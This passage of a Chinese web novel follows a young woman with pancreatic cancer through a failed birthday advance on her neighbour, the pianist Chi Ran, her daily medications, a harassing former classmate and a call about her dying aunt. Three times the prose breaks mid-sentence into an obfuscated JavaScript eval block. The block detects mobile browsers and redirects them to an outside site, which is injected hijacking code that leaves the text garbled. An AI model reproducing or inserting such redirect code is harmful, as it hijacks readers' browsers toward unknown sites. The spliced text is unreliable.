走廊窗外是昏黄日暮,树木枝干隐藏在灰暗中,皲裂般遍布在暮色中。 “要说什么?”迟燃撑在窗边问。 光线太过昏暗,他只能望见虚无的灰,但还是努力朝着她的方向偏头。 “你刚才说,愿望要说出来,”她似乎紧张不安,吞咽好多次空气,“也许会实现。是真的吗?” “你想许愿?”迟燃挑眉,“刚才不是还说要保密。” “对。”她又开始咽空气,“能…能实现吗?” 迟燃被她的语气也弄得有些紧张,他没跟之前似的用半开玩笑的语气说,而是慎重地回:“我试试。” 她沉默许久,空荡的走廊唯余她略重的呼吸声,像在下什么重大决定似的。 “我的生日愿望是—”她停顿许久,才一字一顿道,“睡、你。” 迟燃怀疑是自己没听清,微微弯腰凑近些:“什么?” 她显然会错意,猛地扣住他的肩膀靠近,飞快地在他脸颊亲一下。 接着破釜沉舟似的又说一次:“我说,我的生日愿望是睡你!” 迟燃来不及躲,只觉得脸颊被羽毛飞快地扫过,他茫然地后退半步,指节抵在她刚刚亲过的地方。 “你干什么呢?”他惊疑道。 宋呓欢更大声地重复:“我的生日愿望是睡你!或者你要是听不懂,也叫跟你做/爱。”说完又追问,“你想不想?” “用不着你给我解释这个,你这——”迟燃一顿,冷静片刻才缓和语气,问她,“发生什么事了?” 他话说一半才反应过来,她现在的状态和语气都很不对劲。 这种不对劲莫名让他非常熟悉。 两周前她也是以这样绷着劲儿的状态,问他卖不卖身。 “什么也没发生。”她飞快否认,“我就是想睡你,跟你做/爱,行吗?” 迟燃皱眉,但还是耐着性子再问一次:“真的什么事都没有?” “你自己问我生日愿望是什么,我现在就在告诉你。”她声音有些尖锐,“别跟我说你不想,你就告诉我行还是不行。” 迟燃语气放重:“宋呓欢,你说呢?” “我说行就行吗?”她语气变得很刺人,“你行吗?” 迟燃被她气得笑起来,“不是…你,我真是…你到底为什么?” “我从认识你开始,就觉得你好看还性感,一直挺想睡你的。”她破罐破摔似的说,“不是你让我许生日愿望?这就是我的愿望。” 她明知道他问得不是这个为什么,但她就是非得回答这个为什么。 他再问估计还是那么几句循环。 “我不知道你是怎么回事。你要这样,那就等你清醒我们再聊。”迟燃撑着墙转身走就。 宋呓欢猛地拦住他,垫起脚几乎整个人都贴过来,迟燃甚至能感觉到她颤抖的呼吸扑面而来—— 他右手虎口张开,飞快地挡住下半张脸。下一秒,她的吻撞在他手背。 撞一下还不够,她恶狠狠撞吻几次,又去拽他的右手。 迟燃彻底恼了,单手捏住她双手手腕,往墙上一摁,低吼:“你是疯了吗!” 她使劲挣动,指甲恶狠狠去掐他的手,也在嚷:“我没疯!我说得很明白了!不是你说要实现我的愿望吗?!” “别动!”他捏得更死,下一秒虎口一痛,是她用劲咬上来,“嘶!” 迟燃没松手,伸长手臂将人控制着,任由她挣扎,也任由她连掐带咬,就静静地等。 她一直在嚷,嚷得声控灯忽明忽灭,咔哒声不停。 “行就行不行就不行!!你松开我!” “你别抓着我!你行不行!!” “松手松手!!我咬你了!!!” … 有那么一瞬间,迟燃怀疑自己听到哭腔,但她再咬上来的时候,脸颊很干燥,没有泪。 他沉默地耗着。 宋呓欢没折腾几分钟就开始喘粗气,动作幅度慢慢变小,泄气似的靠着墙,也没再咬他。 “冷静没?”迟燃冷声问,“解释。” 宋呓欢贴着冰冷的墙,油盐不进道:“没什么好解释。不是你祝我须尽欢的吗?你要是完全没想这回事,你今天也不会来。” 迟燃蓦地冷笑一声,语气比刚才被她咬的时候还差:“我今天来给你过生日,送你祝福,做到这个程度…可你就是这么理解我,这么理解那三个字的?” 他将她的两只手摔开,“到底你瞎还是我瞎?” 宋呓欢没说话。 “我不知道你在胡闹些什么。”迟燃说,“你今天的话我就当你喝醉了耍酒疯。” 宋呓欢揉着手腕,还犟:“我没喝酒。” “要不是喝一斤白酒或是吸入煤气,说不出你今天这些胡话。”他冷声说。 宋呓欢默默靠着墙。 “我就当没听见。” 他撑着墙走到门口,按下指纹锁,滴滴一声。 啪嗒,哐当。 钱宇顺着门开的方向就摔出来,尴尬地笑两声:“你们…聊什么那么大动静。” 没人回答。 宋呓欢颓然地靠着墙,咬着嘴唇,也没看他。 迟燃绕过钱宇,头也不回地走进家里。 只给她留下一句:“你明天别来了。” 宋呓欢在原地站了许久,她没出声,声控灯很快就暗下来。窗外天已经黑尽,她就沉默地站在黑暗里。 黑暗让听觉变得灵敏,她甚至能听见门后钱宇窸窸窣窣偷看的动静,还有轻手轻脚离开的动静。 她嘴里反上来血腥味,她咬破了他的手,也咬破了嘴角的软肉,分不清谁流的血更多些。 许久后,还是果果出来找她,将她扯回去。 “回家。” 剩下的生日蛋糕还摆在餐桌上,只剩看不出形状的一团模糊,奶油塌下去,上面的字也早就看不出模样,更不再有光泽。 不知道剩下的那些模糊撇捺,是欠还是页。 果果就坐在她旁边,抬手揉她的头顶,“要不哭会儿,我陪你。” 宋呓欢没说话,也没哭。果果没催,捋着她头发。 又等了一会儿,果果才说:“快十点,都晚一个多小时了。” 宋呓欢看看手机,刚刚被静音摁灭的闹钟又开始催促。 闹钟标签是一堆感叹号夹杂两个字: !!!!!吃药!!!!! “嗯。”宋呓欢刚起身又被果果摁回去,“我去拿药,你倒水吧。” 客厅传来哗啦啦倒药片的声音。 果果端着两个药瓶的盖子走过来,“你看下对不对。31号,你五种我三种,安罗你今天吃完明天开始停对不?” 宋呓欢递给她一杯水,“对。” 她接过药瓶盖,里面放着白胶囊、蓝扁药片、黄长药片…药瓶盖装得很满。 宋呓欢端着瓶盖跟果果的瓶盖碰一下,药片彼此碰撞,哗啦哗啦地响, 她说:“干杯。” “干杯。”果果配合地回。 瓶盖里有不到十粒形状不同的药片,她仰头倒进嘴里,将玻璃杯送到嘴边,咕咚咽下一大口水。 咽完感觉噎住了。 她最高纪录能咽十三片,里面还包含三粒死大死大的卡培他滨。可不知怎的,今天这几片怎么都咽不下去。 她在胸口锤两下,又灌下一大口水,才将药片咽完。 水喝太多有些泛酸,她用手指蘸一点点蛋糕上的奶油含在嘴里。 没等奶油化开,果果就把蛋糕盒子盖起来。 “别吃,太油腻反胃。”果果将剩下的蛋糕收起来,“你刚刚吃那把药最贵的一百五十五一粒呢,再吐出来。吐完不吃吧,心疼钱,吃吧,太恶心。” 宋呓欢收手愣一会,突然说:“果,我好像搞砸了。” 果果在她旁边坐下:“嗯。你就是想搞砸,你要是真铁了心要睡他,就不会这么说话。” “我今天…有点太开心了。”宋呓欢拨弄药盒盖子上要断不断的塑料,说:“闹钟响的时候我都有点生气,它没事提醒我干什么。也怪迟燃,没事祝什么须尽欢,这祝福好归好,但总归…总归太紧迫了。” 高考后,宋呓欢照例被王女士摁着去体检,医生当场就跟王女士说她胰腺上有个阴影。王女士强打精神带着她一趟趟跑医院,最终确诊胰腺癌,还是前无古人,后最好别有来者的印绒胰腺癌。 癌症里的熊猫癌。 宋呓欢确诊后异常淡定,她听话乖巧地配合治疗,甚至能跟要拿半米长管子穿进她身体的医生欢快地聊天。 她有时候自己都觉得自己牛逼。 成年后所有时光都在与熊猫癌细胞共生,她短暂地胜利过,被癌细胞侵蚀得形销骨立过,甚至有那么极端的几个瞬间,想过干掉这具不整齐的身体,用同归于尽的方式消灭熊猫细胞。 那些时候,宋呓欢感到过痛苦,但从没像今天闹钟响的时候那样,感到绝望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223498|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那种非要撕毁点什么,破坏些什么的绝望。 闹钟响起那刻,她意识到她确诊时的淡定不是淡定,是无知。 她对被命运夺走的东西没有概念,她并不知道她有什么可贵,人生有什么美妙,所以她毫无畏惧。 要失去什么的时候,最好别记得拥有的感受。 果果捏捏她的手,“你年纪小。” “你也就比我大八岁。”宋呓欢瞥她一眼。 果果低声说:“八年很久了,我上了大学、谈了恋爱还工作一段时间呢。” 宋呓欢没说话,就盯着手机上的循环闹钟,说:“逃避的时间一长,都感觉自己已经忘记这回事了。” 果果没说话,只是掀起衣服下摆,开始贴芬太尼贴片。 “嘶。”宋呓欢倒吸口气,“你怎么又挠成这样啊?” 果果的腰腹部贴着几枚透明贴片,周围皮肤都是红色的抓痕,看上去触目惊心。 “我总觉得贴上去痒,忍不住挠。”果果一个一个取下来,又重新拆贴片。 宋呓欢看得直皱眉:“那你也别挠啊,万一把贴片抓破呢。” “哪能那么大手劲,我是金刚狼吗?”果果吐槽。 宋呓欢嘶哈嘶哈地看着她换完贴片,手机点开小某书APP。 “趁我还没犯困,一起回答个粉丝提问?”果果问,“你还…有心情吗?” 说来奇怪,跟果果聊几句,她忽然心绪又平和起来,不似刚才那么无来由地愤怒。 “我没事。”宋呓欢点头,“这账号我都一个月没登了,等我切个账号。” 果果问:“你何必弄两个账号,还得切来切去。” “姐姐,我平时拿这APP查菜谱啊。”宋呓欢切完账号把发现页凑到果果面前。 上面是小某书精准推荐的内容,基本都是病友发的病情分享帖。 她吐槽:“这又是黄疸又是创口还有脓疮的,我哪还有心情看菜谱,到时候饿你三天。” 果果讨好地笑:“谢谢呓欢小厨娘,厨娘辛苦,自己不爱吃饭还投喂我。” “评论私信都99+了。”宋呓欢点进主页,“挑几个重复度高的回吧。” 果果一看主页就笑起来:“你怎么还不改名,这么欠揍的名没人骂你吗?” 宋呓欢在小某书账号上有另一个身份,跟某站上唱见身份毫不相关。 她账号名叫:复活甲原厂直发。 详情写着一大段戏谑的话: 印绒胰腺AI患者,肿瘤指南上仅记载一例的珍稀物种; 某三甲医院临床试验组在逃小白鼠; 你们吃的药我基本都试过的副作用百科全书。 “没人因为这个骂我。”宋呓欢笑,“都骂我自私,不愿意为医疗事业做贡献。” 她拖动消息列表往下滑,时不时有几条骂她的,大部分是关心她还好吗,怎么这么久没更新。 里面还有一部分患者本人或者家属的问题。 “还有人找过来骂你?闲的吧。”果果皱眉。 宋呓欢说:“倒不是,有个成天问我为什么终止临床试验,怎么那么自私。这人把我问烦了,我说要试验你试验。谁能想到那人没生病纯找茬啊,看到消息就炸了,发了个帖子说我诅咒他,这才有几个人追着骂我。” “…行吧。”果果凑过去滑动她的屏幕,“怎么还这么多人问能不能吃西柚啊…” “我头像和置顶都是别吃柑橘类,回也回过好几次了。”宋呓欢叹口气,“平时谁没事儿吃西柚,这水果多小众啊。” 果果笑:“你要么把主页描述也加上别吃柑橘类,含西柚。” “行吧。”她抬手改。 “基本都是问副作用的,我单开个帖子吧。奥沙利铂和紫杉醇我用过,我写。”宋呓欢问,“顺铂你写。” “行,我写完发你。”果果打开备忘录。 “这有人问杜冷丁,你打过吗?”宋呓欢问,“这我还真没打过,王女士之前说成瘾,没让我打。” “我也没打过,我看病友群也很少有人开这个。”果果说,“群里说话的要么常规止痛药,要么都直接吗/啡了。” 没等她说话果果拦她:“这句别写,咱俩半吊子大夫,分享点自己的经验得了。” “哦。”宋呓欢皱眉,“阿毛什么时候退病友群的?我还想问问他呢。” “他早就退了吧?”果果说,“没打招呼就退了。” … 帖子刚发完,果果就趴在餐桌上打着呵欠。 “睡吧。”宋呓欢把小某书账号切回来,“晚安。” “嗯。”果果慢吞吞地起身回屋,“晚安。” 没走几步,果果回头说:“你也别太难受。” 宋呓欢摇头:“没事儿。” 果果眼皮沉下来,但笑着:“反正他不行,你生日礼物也很快就到,到时候…” “嘶—”宋呓欢皱眉骂,“速速滚着去睡觉!” 17. 第 17 章 宋呓欢再次梦到迟燃。 梦的内容和前几次没什么区别,他们接吻、拥抱、交缠在一起,反复将对方揉进身体。 醒来的时候,她甚至觉得自己有点没羞没臊了。 刚跟他因为这个闹掰没几天,梦里就毫不客气地借用他的身体。 那天之后,她又碰到他几次,他每次脸都不会转向她,有时候她确信他知道她在,但他就是假装不知道。 她经此一役脸皮厚了不少,看到他没有再想着躲,反倒大大方方地跟钱宇打招呼。 迟燃还得装听不见。 又过一周,隔壁再次响起空灵美妙的钢琴声,——古典钢琴修好了。 那是个春光宜人、阳光普照的下午,是个非常适合弹奏Icarus的下午。 他没弹。 琴没弹完,果果就来咣咣咣敲她卧室:“欢欢!!出门!!” 宋呓欢还没来得及为此难受,就无语地给她开门:“干嘛?忙着听钢琴演奏呢。” “听什么听,走走,迟燃替代品到快递站了。”果果说。 “嘘!!!”她崩溃地捂她嘴。 果果满不在乎:“墙那么厚,再说人家弹琴呢,怎么可能听见。” 宋呓欢瞪她:“你怎么戳我伤疤啊。” “多戳戳好得快。”果果大手一挥,“抓紧换衣服走了!拿快递!!” 去拿快递的路上,果果笑得上气不接下气。 宋呓欢皱眉:“你别笑!” “口罩围巾就算了,你怎么还戴俩帽子啊?至于裹成这样吗??”果果笑,“拿个快递而已。” “那不是一般的快递。”宋呓欢咬牙,“而且我们小区只有我染粉毛好不好!我不戴俩帽子怎么挡住!!” 果果凑近点:“你说有没有可能,快递上不会画着个粉色的震…” 宋呓欢抬手就把她嘴糊上了。 打打闹闹走到驿站,才发现果果没说错,她的武装确实有些多余。 快递上没有任何跟内容物相关的信息,包装是粉蓝色,一眼看上去就像网购毛绒玩偶的快递盒。 “傻了吧。”果果笑她,“就跟你说不用捂这么严实。” “这不没经验嘛。” 宋呓欢将包装可爱的快递拿在手里,多少还是有些心虚,拿的时候用手掌遮住快递信息那页, ——尽管上面什么不该写的都没写。 刚进小区,宋呓欢就隔着栅栏看见个莫名熟悉的身影,那人来回张望着,往小区里看。 她盯了一会才反应过来,将帽檐压得更低,鬼鬼祟祟地往果果旁边一躲。 “靠靠靠靠靠靠靠靠靠!晦气!!” “你干什么?”果果被她拽个趔趄,回头问她。 “那是速8哥啊!!晦气!!”宋呓欢扯着她快步往家走。 “哪个速8哥,什么速8哥?”果果被她拽着跑到楼里才想起来,“你那个叫什么丑的初中校草?被你拒绝还硬是坐高铁来那位?” “王亚帅。”宋呓欢惊魂未定地点头,“这都多长时间了,他怎么还没走啊!还找过来了??” 果果宽慰道:“咱小区门禁挺严的,他进不来。” 宋呓欢没说话,极其感谢出门时全副武装的自己。 对于王亚帅找过来这件事,她倒是没什么害怕。他是个只会无能狂怒的中游人,老家有不上不下的事业,健在的父母,他做不出什么。 这件事带给她的,更多是愤怒。 这种愤怒在三天后,她看到初中班群消息的时候达到顶峰。 王亚帅在班群里转发了他们的聊天记录,配上好多条控诉。 【你们有谁能联系上我老婆吗?她要我来找她,可下高铁后她就不回我消息了。】 【没吵架,刚发消息说要亲我呢,后来就没人了。不知道是不是我酒店订得太便宜,惹她生气了。你们有谁能联系上她吗?】 … 话里话外,多少有些暗示自己老实人被渣女玩弄的意思。 聊天记录就发到她说想亲他那里,后面那些骂他的倒是一条都没发。 有几个男同学不知道是看热闹不嫌事大还是速8哥请来的托,还在群里回: 【别是耍你吧?我看她昨天还发朋友圈呢。】 【猜一个嫌贫爱富。】 【嫌贫爱富不至于,人家现在是大网红。】 【你们本来约什么时候见面?】 王亚帅:【我跟我老婆约的是三月二十一号,人没来,我在这快住半个月了。】 老你二大爷个杂交玉米个婆。 宋呓欢在输入框里打下这几个字,又删除。 王亚帅摆明是在这坏她名声,想证明她是个嫌贫爱富、出尔反尔的贱人。她要是在群里发出剩下的聊天记录,继续跟他吵,更遂了他的愿。 不论吵输吵赢,王亚帅都已经赢了。 她满脑子血液都涌到头顶,气得喘不过气。 一方面是气王亚帅手段下贱,另一方面是气自己竟然没看出他是这么个东西。 她缓了半天才冷静下来,重新点进班级群聊,敲下一行字。 王亚帅下半身主导上半身,来这么一套,但他肯定没想过,名声这东西,对她用处已经不大了。 想通一不过是一瞬间的事。 【@王亚帅三月二十一日我没去?你怎么不提你软了整整俩小时我才走,老娘不走在那陪你揉橡皮泥吗?】 王亚帅:【草!婊子你造谣!!】 【你贱不贱啊,老子…】 在王亚帅破防连环消息升级为连环语音后,宋呓欢抬手退群。 痛快吗?痛快。 但也夹杂着不痛快。 果果听闻她的壮举竖起大拇指,“青出于蓝而胜于蓝。” 夸完担心地,“你后面出门碰上他怎么办?” 宋呓欢手一摊,“吵他肯定吵不过我,敢动手他起码拘三天。还能省三天房费,他更得好好谢谢我。” 果果笑喷:“邪恶比格欢欢。” “中午点外卖吧?”宋呓欢问,“我今天懒得做饭。” “我看看有没有不油腻的外卖,请你吃!”果果点开外卖平台跟她一起看。 “要不这家轻食吧?我有点想吃土豆泥…哎等会。” 宋呓欢手机响,是表姐馨馨的电话。 果果问:“你小姑的事?” “嗯。”宋呓欢推开门往外走。 “你就在这打呗?”果果不解。 宋呓欢挥挥手,“我下楼透透气。” 她不是想透气,而是小姑情况不好,她大概能猜到什么事,所以不想当着果果的面打电话。 王女士总是刻意在她面前回避得癌症的小姑已经到弥留之际这个话题,她有时明知没必要,但还是会下意识地在果果面前这么做。 说不清为什么,大概是十九年乖乖女模仿妈妈的惯性吧。 “你好歹帮忙劝劝舅妈。”馨馨的声音听起来无奈多于悲痛,“小姑算下来在ICU住半个月了,都没怎么醒过,人都…都不像她了。小姑那么爱漂亮一个人…” 她能劝得住王女士? 宋呓欢心脏揪着疼,她深呼吸几次,“奶奶怎么想?” “奶奶能怎么想?她就每天念叨我伢受罪咯。”馨馨声音透着木然,“连护士都偷偷跟我说小姑是在熬时间,让我们做准备,舅妈会不知道?” “奶奶没说不治了?”宋呓欢闭了闭眼睛。 “医药费奶奶一分都拿不出,她怎么开这个口?她就只能天天自己念叨。”馨馨好声好气央道,“你劝劝舅妈,别让小姑这么…这么熬下去了。” “我妈听我劝吗?”宋呓欢语气不自觉地变冲,“我想看小姑一眼她都不让。” “舅妈那也是担心…”馨馨话说一半。 宋呓欢也不避讳:“担心我看着害怕,觉得那就是我的结局。” “欢欢你别这么说…我们都一样。”馨馨嗫嚅,“你当时从临床试验组偷跑出来,舅妈熬得头发都白了。” “我妈也跟你说我是偷跑出来的?”宋呓欢皱眉。 她在临床试验组待了快一年,什么免疫靶向化疗放疗都试过一遍,但癌细胞依然茁壮成长,她身体心理都垮得没人样,医生才建议她换姑息疗法。 王女士从头到尾就不同意,吼着不能放弃,甚至到现在都非得说她是偷跑出来的。 “我们心里都知道是怎么回事,不管是…你还是小姑。”馨馨说,“我也劝过舅妈,她不肯跟我聊,所以我才找你。” 宋呓欢皱眉反问:“馨馨姐姐,你认识我妈比我还早两年呢,得比我更了解她脾气吧?” 电话那头没了声音。 “谁都能劝,就我不能劝。”她抬手揉揉脸,“我不劝还好,我要是劝,那她更得让小姑治到底。” 馨馨终于绷不住带上哭腔,“我就是难受…小姑都抢救好几回了,开始抢救过来大伙还松口气,后来抢救回来,都一个劲儿叹气…我不是故意找你说这个,我就是难受…” “谁不难受?我们家里有谁不难受?”宋呓欢又深呼吸几次,才好好说,“…我真不能劝。” “我知道…我就是…哎。”馨馨说,“舅妈就听不了不治这俩字。” “我妈这人有时候是矛盾。”宋呓欢走得双腿打颤,干脆坐在楼门口的台阶上,抱膝蜷着,“你说她乐观吧,从小到大她都怕我生病,能军事管理我十八年…你说她悲观吧,她还总觉得小姑能好,得治。” 馨馨反倒劝她:“舅妈已经…够坚强了。” “爷爷,我爸…然后是我。”宋呓欢闭着眼睛数。 “你看过遗传厄运吗?就那个祖祖辈辈传下来的邪教诅咒…”馨馨苦笑着说,“我看那个电影看得后背发凉,我是真害怕…我妈也是。” 宋呓欢问:“大姑姑不是带你做过基因检测,说从基因来看,你们得病几率不高吗?” “那也怕,从爷爷去世后就开始怕。”馨馨声音发抖,“我妈每天来看小姑之前和之后都得去烧香,我体检还有她体检前后也都去,都差不多住在庙里。” “我反正不怕了。”宋呓欢笑两声,“遗传厄运那电影我看过,诅咒没传到自己才害怕,真传到自己身上,那都能变鬼上房了。” “你别…”馨馨显然不适应她这种说法,声音都发飘,“你别这样。” 宋呓欢换个话题,“小姑神经阻断做了吗?” “没,只装了镇痛泵。”馨馨说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223499|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你也别怪…”宋呓欢开口不知道怎么说下去,就生生停住。 馨馨显然猜到她要说什么,痛快地答应:“嗯。” 宋呓欢只好提一口气,把话说完:“…我妈…她就是觉得这件事不管怎么选,都只有错,没有对。” 她声音越放越轻,“从她的角度,她永远不可能理解那些。比如我爸进ICU前说想喝白酒,比如我非得染粉头发,非得跑出来…” “都明白。”馨馨声音也放轻,“都不可能怪舅妈什么。” 该说的话都说完,宋呓欢就捏着电话沉默。 微风吹过萌芽的枝干,沙沙作响,是个好天气。 她再回过神看手机,馨馨不知道什么时候挂断电话。 宋呓欢点进跟王女士的聊天框,犹豫着要不要随便说两句。 正想着呢,王女士忽然一个语音电话拨过来。 她倒吸口气,大脑一片空白。 馨馨跟王女士聊过? 那也没这么快吧? 她犹豫着接起来,电话那边的王女士听起来有些带着怒意的激动,但又强压着。 “你怎么回事?” 这个问题太宽泛,宋呓欢一时没答上来。 好在王女士立马压着火继续说:“你跟那个男同学怎么回事?人都找到我这来了。” “王亚帅?”她一愣。 “那么多人的群里,你那发的是什么话?”王女士语速刻意放得很慢,但听起来还是挺生气,“女孩子家家,像什么样子。” 宋呓欢火气蹭就上来:“我没找他妈就不错了,他还敢找你??” 王女士说:“你…你跟男同学交往就交往,这,怎么能这么说话?” “妈我二十了,那不叫男同学。”宋呓欢气得要命,“那我该怎么说啊?早知道我就不该说什么揉橡皮泥,我就该说头七找他…” “宋呓欢!!”王女士猛地喝住她。 宋呓欢一愣,自觉被愤怒冲昏头,深呼吸几次才说:“妈,你别生气,我不是那意思…” 电话那边挺安静,但她总觉得能听见眼泪砸下来的声音。 “妈…”她好声好气,“我不该那么说。” 王女士沉默半天才有力气说教:“真该让你大姑姑好好教教你什么叫避谶?我瞒着不让人乱说你的事,你倒好,张嘴闭嘴也不避讳。就你超脱,就你看得开…” 再说下去,王女士又要哭。 “知道错了。”她垂眼认错,“我也没跟人说过我有癌的事。” 王女士色厉内荏地说:“你自己注意点。” “我小姑怎么样了?”宋呓欢还是没忍住问出来。 王女士语气瞬间冷起来:“总问什么?还那样。” “小姑说想我了吗?我也挺想她呢,我能不能回…” “回什么回!”王女士飞快打断她,“要跑出去的是你,要回来的也是你,别回!!” 没等她说下一句,王女士就飞快地挂断电话,跟生怕听到什么似的。 宋呓欢捏着手机,捂着眼睛坐在台阶上发愣。 天气不算暖和,她又在冰凉的台阶上久坐,寒意顺着背脊攀上来,沁到骨子里。 她待到开始打颤才站起来,转身的瞬间,却看见迟燃站在那。 不知道站了多久。 他靠墙站着,未聚焦的视线落在她脸上,目光—— 目光堪称温柔。 宋呓欢悄悄叹口气,皱眉问他:“你听到什么了?” 好可惜。 她在认识迟燃之前,先认识的是他的傲慢。 她生日那天闹得实在太难看。 按照那天的发展,他没可能这样安安静静地站在她身后,神情柔和。 除非,她刚刚讲电话的时候,他都听到了。 好可惜。 迟燃这个人,还有跟他相处的每一刻,都梦幻得像童话。 童话故事集跟现实本就该割裂开来,不该搅合在一起。故事书的书页要是散落一地,那就不是童话,而是垃圾。 好可惜。 宋呓欢许久没等到他的回复,又叹口气,默默绕开他。她有点不想面对接下来必然苦大仇深的对话,尤其不想对象还是迟燃。 他忽然伸手拦她。 “干什么?”她停住。 迟燃转向她,微微弯腰,伸手悬在她头顶。 宋呓欢勉强活跃气氛:“总不会是要打我吧?” 迟燃叹口气,右手一寸一寸地下降,轻轻找到她的发顶,顺着发丝的方向摸着。 “没太听明白。你跟你妈妈吵架了?”他轻声问,“还是因为你小姑生病的事吗?” 宋呓欢眼睛倏地一亮,嘴上说:“对,就是因为我小姑。” “别难过。”他一下一下地摸着。 她侧头感受他手心的温度,微微眯着眼睛。 看啊,这世上的残忍与温柔总是交缠着一道来。 她于粗粝的现实中,触摸到童话故事集的折角。她毫不犹疑地掀开书页,扑进童话里。 一步,两步。 她垫脚靠近,抱住他。耳朵贴在他的胸口,他心跳很快很密,鼓点似的打在她的耳膜。 像童话故事的片头曲。 18. 第 18 章 宋呓欢抱住他的瞬间,他身体一颤,但没推开她。 他左手依然背在身后,右手再次摸到她的头顶,指腹轻轻地摩挲着。 他心跳非常快,快得有些震人。 “你昨天下午弹那个曲子挺好听的。”她脸埋在他怀里,闷闷地说。 迟燃任由她埋着,低低的声音从她头顶传过来,“嗯?” “那个乐谱夹的空页还算数吗?”宋呓欢说,“我想要那个谱。” 迟燃显然没想到她忽然提这种要求,顿了一会才说:“…可以。” 宋呓欢得寸进尺道:“你琴是不是修好了,我能用继续练你的琴吗?等练好我想发弹古董钢琴的视频。” 迟燃:“…” 宋呓欢摸到他背在身后的左手,扯过来端详,“我过生日那天咬破没?我咬你是我不对,但是我…” 迟燃显然不愿意聊那天,他猛地将手抽回来,抵着额头将她推远。 “你停,打住。” 他说完脚步急促地走到电梯边上,摸着按下电梯按键。 “干嘛?”宋呓欢问完就反应过来,“你怕我接着跟你聊生日…” “宋呓欢。”他沉声警告,“我就多余管你。” 电梯叮的一声到达。 “那好吧,不说。”宋呓欢跟着他走进去,“那曲子能授权给我吗?” “不能。”迟燃冷脸。 宋呓欢:“那你那古典钢琴…” “不行。” 宋呓欢:“别啊,你刚才都答应我说可以了,你不能反悔…” “不。”他都懒得多说一个字。 “迟老师,一日为师…” 说话间电梯到达,迟燃手撑着墙飞快地走出去,她从没见过他走这么快。 宋呓欢没出电梯厅,就听见哐当一声巨响。 他还把门摔上了? …脾气好差一帅哥。 …终身为Daddy,这句她还没说完呢。 白日梦:【干嘛摔门!】 她发完消息吃完午饭,都没等到他的回复,隔壁倒是又响起琴声。 白日梦:【弹什么弹,回我。】 琴声果然停了。 但只停下几秒,又继续,还是没回她。 白日梦:【我的谱子!!你答应过的谱子!!!】 白日梦:【迟燃!!!迟老师!!】 … 她一连发许多条,都没得到回复,连琴声都没停。 …他刚才肯定是把耳机摘了。 “欢!你换件衣服,修空调的小哥待会来。”果果在门外喊她。 “又修?”宋呓欢放下手机探头,“昨天修水管前天修机顶盒,按这架势,你是m要把这些破烂家具都修一遍?” 她们房东不怎么管,家里的东西坏了,严重的话她们自己掏钱修,不严重的就忍着。 水管、空调和机顶盒都属于坏但没完全坏的类型,还算能忍。 果果说:“这不是住得舒服点嘛,再说带人看房的话,不得翻新下…” 宋呓欢警惕地冲出去,一把攥住她的手:“你说清楚!什么看房,看什么房,带谁看房??一共就两间房,你要搬出去??” “没。”果果说,“万一…万一你搬出去跟隔壁那位住,不和我合租了呢?你俩早上不是和好了吗。” “起开!”宋呓欢甩开她的手,“我搬什么搬,我这辈子都跟你住一起。” 果果笑起来:“知道。” 宋呓欢不放心地瞪她:“你把我忽悠来和你住的!你不能背叛我啊!” “到十月份的房租钱都交完了,”果果捏她脸,“背叛什么背叛。” 宋呓欢还盯着她。 果果挑眉:“哦对,那个某某替代品用了没?我给你发个说明书…” 宋呓欢啪地捂住她的嘴。 下午来修空调的是个挺年轻的小哥,他检查完空调外机,又接着检查室内机。 宋呓欢在人来之前查过空调维修攻略,在心里默背几次,谨防他狮子大开口。 “外机没坏。”小哥掀开帽子擦擦汗,“是内机排水泵老化,得换排水泵。” 宋呓欢问:“盘…水棒多少钱?” 小哥乐了:“排水泵,不是盘水棒,没那东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223500|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配件二百七十三,人工交通费一百,加起来三百七十三。” 宋呓欢继续问:“那配件我们自己买,你装多少?” 小哥愣了愣,实诚地说:“我安装就拿一百,你们自己买排水泵也就七八十,拼夕夕砍两刀四五十也能买。” 那就是说,维修公司卖一个排水泵少说也能赚二百块。 小哥回答得太实诚,搞得宋呓欢都不好意思接着说了。 小哥笑得憨厚:“你要网上买就等快递到了再告诉我,我上门安装。” “你就这么实话告诉我?”宋呓欢还是没忍住问。 “公司那配件赚你们二百多,给我的提成,算下来不到十块钱,我不主动告诉你们就算很有职业道德了。”小哥擦擦下巴上的汗。 果果也有些过意不去,笑着说:“那这样,你下周来,我们给你一百二,行吗?” “那可太行了!”小哥点头,想了想又叮嘱,“你们不能举报我。” “哪能那么不识好歹。”宋呓欢翻出微信,“加个好友,等配件送到我联系你。” “好嘞。”小哥乐呵呵,“我到时候顺手给你们把清洗也做了。” “你再给我说一遍?” 迟燃反手关上门,拉开走廊的窗户透气。 颖姐好声好气地跟他说话,都赶上哄小孩了:“你威胁我也没用,你先冷静好不好?” 